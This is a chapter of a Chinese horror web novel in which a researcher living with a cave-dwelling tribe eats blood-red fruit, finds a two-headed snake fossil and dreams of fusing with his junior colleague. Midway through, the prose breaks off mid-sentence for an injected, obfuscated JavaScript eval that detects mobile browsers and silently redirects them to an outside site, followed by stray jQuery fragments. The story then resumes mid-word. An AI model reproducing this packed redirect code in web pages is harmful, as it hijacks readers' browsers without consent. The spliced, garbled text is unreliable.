3. 血果

作品:《巴女人[克苏鲁]

    溶洞里石柱打磨成桌子,石笋打磨成的凳子,就地取材,非常天然。食物也十分丰富,全都来自于山中。


    主食是蕨菜根磨制沉淀出来的淀粉制成的饼,混入野菜和腌制的野猪肉碎,用茶树油煎,外酥里嫩,非常激发食欲。


    凉菜是折耳根的根,这个季节叶子太老,只能食用根部。这种植物学名为鱼腥草,有一股非常浓重的腥香。用辣子和野葱一起拌,香气冲鼻。


    石桌上还有两荤两素,荤菜是绿色尖椒炒的肉,什么肉吃不出来,感觉像是猪肉。其中有白色的软骨,嚼着很脆,口感很特别。还有一荤是鱼,鱼劈开两边,剁成块,用豆瓣熬煮。煮到鱼眼翻白爆出,就可以食用了。


    素菜是两道野菜,一道是卷曲如八爪鱼触须的蕨菜嫩芽。春天采摘下来,用盐腌制,然后夏天过去,就可以用咸菜炝炒了。深色的咸菜粒在炒制的过程中会自然嵌在蕨菜芽最弯曲的中心,看起来像是一只又一只的眼睛。


    还有一道是桑叶,卷起来,包着那种红果吃。九月还是有些炎热,早上出去走了一趟,我早就又饥又渴。直接拿起桑叶包了红果,在口中大嚼起来。


    外皮上密密麻麻的肉瘤状颗粒在口腔之中蹦跳着,但能逃出我的嘴的,只有鲜红如血液的汁液。


    红果很是甘甜,一下子消除了身上的暑气。我顿觉神清气爽,下午又能有体力继续探寻巴女人的秘密了。


    吃过饭,我拿出笔和笔记,在后半空白的部分记录起上午的经历和发现。


    1、巴女人通常采用悬棺葬,极其有地位的人会放入居住的溶洞空腔之中保存,类似木乃伊?


    2、婚育观念接近母系氏族,还需继续进一步观察。


    3、红果真好吃啊!


    只是一上午就有如此多的收获,我很是开心。写完笔记,我抬头看向了溶洞顶端的高台。在那里一定有更多的发现,只是现在我还不能上去。要是上去了,一定会被赶走,就像我那群师弟一样。


    其他人吃完饭就开始劳作了,女人们背起背篓,拿起镰刀,去山中采集野果和野菜。男人们拿起渔网,要下河去捕鱼。我不会捕鱼,便也背起背篓,和女人们一起去采野果。


    现在已经立秋了,山里有许多野果。抓紧采集下来,腌制成果干,以度过冬季。这里海拔偏高,已经在雪线之上了,冬季可食用的新鲜事物很少。男人们捕的鱼要腌制,大量的盐和调料,都来自和安家的交易。


    巴女人极少捕猎大型的猎物,因为太过危险,本来人数就不多,就更不能因此受伤死亡了。在我的观察之中,溶洞之中居住了应该不到千人。就算加上外出的,也不过一千出头而已。


    虽然他们可以跟安家交换一些现代的消炎止血药物,但价格太高,不可能大批量使用。再加上之前一直战乱,药品即便是安家也很难搞得到。


    中午吃的野猪肉是偶尔碰到,猎杀的,因为在办白事,才吃了这珍贵的肉类。


    我有点愧疚,因为很好吃,我吃得还有些多。所以现在也就加倍努力帮忙收集野果,希望他们今年冬天不会挨饿。


    除了野果和野菜,她们还会采集可以制药的植物,比如说川贝母,绿绒蒿,雪兔子等。好的药材价格从来都是很高的,所以他们才可以购入大量的盐来腌制食物,远比其他部落生活质量高。


    “师兄,你看那颗绿绒蒿好美呀!”安静葶突然看到前方悬崖处有一株完美品相的绿绒蒿,她立马跑了过去,盯着这片如梦似幻的蓝绿色。


    我看着这蓝绿色,突然想起了第一天来时看到的那片星空,不由得浑身发冷,肌肉僵硬。我想要挣脱那片梦幻一般的颜色,便努力转动眼珠,看向了稍远一点的地方。但是越过这片梦一般的色彩,我又看到了一只竖瞳的眼睛。


    一只冷冰冰,毫无感觉的眼睛。就在一块石壁上,深深地嵌在其中,仿佛在那里待了千万年,只等着我的到来一般。


    我浑身都冒出汗来,皮肤都变得滑溜溜了。我捏了捏手心,感觉自己好像变成了一只八爪鱼。软趴趴,黏腻腻,四肢都蜷曲软化,无法控制。


    但我还是一步又一步地向前挪动着,往着那只眼睛,那只不可名状,又无比吸引人的眼睛前去。


    那块石壁在悬崖边上,我一脚踩在边缘,就有数颗碎石往下坠落。那些碎石落到碧绿的江面,激起无数的水花。但我无暇顾及这些,只是盯着那只眼睛。


    “先生,小心。”


    就在我要继续往前,看得更清楚的时候,风岈一把拉住了我。她被水花的声音吸引,看到我往悬崖边走去,便过来制止了我。


    “师兄,你看到什么了?”安静葶也过来了,她手中拿着那一朵最漂亮的绿绒蒿。


    “眼睛……,这里有一只眼睛。”我惊醒过来,便不再去看那只眼睛。别过头,看向了风岈衣服上的龙纹。


    看着这龙纹,我突然意识到了什么。连忙又到了崖边,用衣袖擦拭那块石壁。


    石头上的灰尘被拂开,那只眼睛终于现出了原形。


    “啊,这是一块双头蛇的化石!师兄,你眼睛太尖了吧!”安静葶激动大叫着,看着那块石头,十分痴迷,甚至比看绿绒蒿还要沉迷。


    石头上的眼睛便是一只蛇眼,不知道死去了多少万年的方形蛇头几乎都被眼眶完全占据了,空洞又深邃。眼窝中有一道裂痕,便是那竖瞳了。


    在这只蛇头的下方,还有一颗蛇头,略小,隐藏得更深。而这两只蛇头却只有一条蛇身,看起来真的像是传说之中的双头蛇。只是这化石没有蛇尾,更像是两条蛇尾部连接了起来。


    “只是两只蛇死在一起,只有两颗头和一条蛇身形成化石罢了。”我对化石毫无兴趣,考古人就连夏都都没有找到呢,更别提几千万年前的事情了。更何况双头蛇大概率只是畸形,就像独眼神牛,三脚猫,五条腿的青蛙一般,历史上曾经多次出现过。


    “是双头蛇的化石的话,就可以卖大价钱。就算不是,也可以做药。我得带回去,让中药店的老板瞧瞧。”安静葶拿起镰刀,就将那块石头砍了下来。这里几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795811|174999||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乎都是石灰岩,质地脆软,很轻松就可以做到。


    听她说起中药店,我不禁就想起历史之中无数被当做龙骨,磨成粉,变成药引的殷商甲骨。那上面有多少信息,有多少文字,我完全不敢去细想。心脏隐隐作痛,便转过头,离开悬崖,回到溶洞了。


    经过一下午的劳作,男人和女人们都满载而归。晚饭没有肉,但蔬果却是管饱的。我又吃了许多红果,红果真好吃啊!


    天一黑,大家就要休息了。不少年轻男女说说笑笑往外走去,想起白日的见闻,我自然是猜到他们要去哪里,要做什么了。


    冬天不能外出采集,倒是怀孕和生娃的好时机。


    这古老的部族能继续绵延下去,需要更多的人口。希望明年春天的时候,能迎来更多新生命吧。


    带着这样美好的愿望,我进入了梦乡之中。晒了一下午,也非常疲惫了。


    昨夜我晕过去了,所以并不知道睡在这溶洞之中是什么感觉。我一直以为这深山之中会很寂静,但其实却是热闹无比。洞外有夜枭的啼叫,混合着虫鸣,像是什么诡秘的交响乐一般。洞内有鼾声和磨牙声,还有含糊不清的梦语。这些梦语听起来竟和今天白日升棺之时的歌曲有些相似,我细细辨别着,居然听出来了一些词语。


    四极,九州,女蜗,黑龙……


    我古汉语明明学得不怎么样,此刻却听出了这些词语来,想必老师知晓了,会很欣慰吧。


    在这样的古音之中,我也慢慢进入了梦乡。


    上半夜睡得还算安稳,可下半夜怎么都不舒服,仿佛有无数的虫子,不,是小蛇在我身上爬。它们细密的鳞片刮过我的皮肤,冰冷一片。我的肌肉似乎都被冻住了,浑身僵硬,仿佛一条石头。


    努力伸展着四肢,想要摆脱这种凝固的状态,但我的脚趾却感觉触碰到了什么。


    在溶洞里大家都是并排着睡觉的,但安静葶当然不可能跟我并排睡,我们是脚对脚睡的。所以现在我的脚趾碰触到的,就是她的脚趾。


    我和她只是师兄妹关系,脚趾这么隐秘的部位接触到,实在是不妥。我奋力抽回自己的脚,想要离她的脚远一些。但是不知道怎么回事,我越是挣扎,我们的皮肤接触的部分就越多。尤其是最开始碰触的脚趾,似乎已经连成一片,无法分离了。


    顿时觉得惊恐无比,难道我和安静葶也要变成那无蛇尾的双头蛇吗?


    想要大呼救命,但喉咙里只发出叽里咕噜的声音,根本连旁边的鼾声都压不过。


    此时我和安静葶的小腿都已经融合在一起,我的膝盖都要变得无法弯曲了。


    “咝……,咝……,咝……”


    我听到了犹如蛇吐信子的声音,那似乎是安静葶试图在喊我,她应该喊的是“师兄”吧?


    在我痛苦无比的时候,漆黑一片的溶洞之中突然寒光一闪。亮白色的光线划出了一道线,劈开了黑暗,一直落到了我的脚上。


    只觉得脚踝传来深入骨髓的疼痛,滚烫的鲜血便喷涌而出,浴了我一身。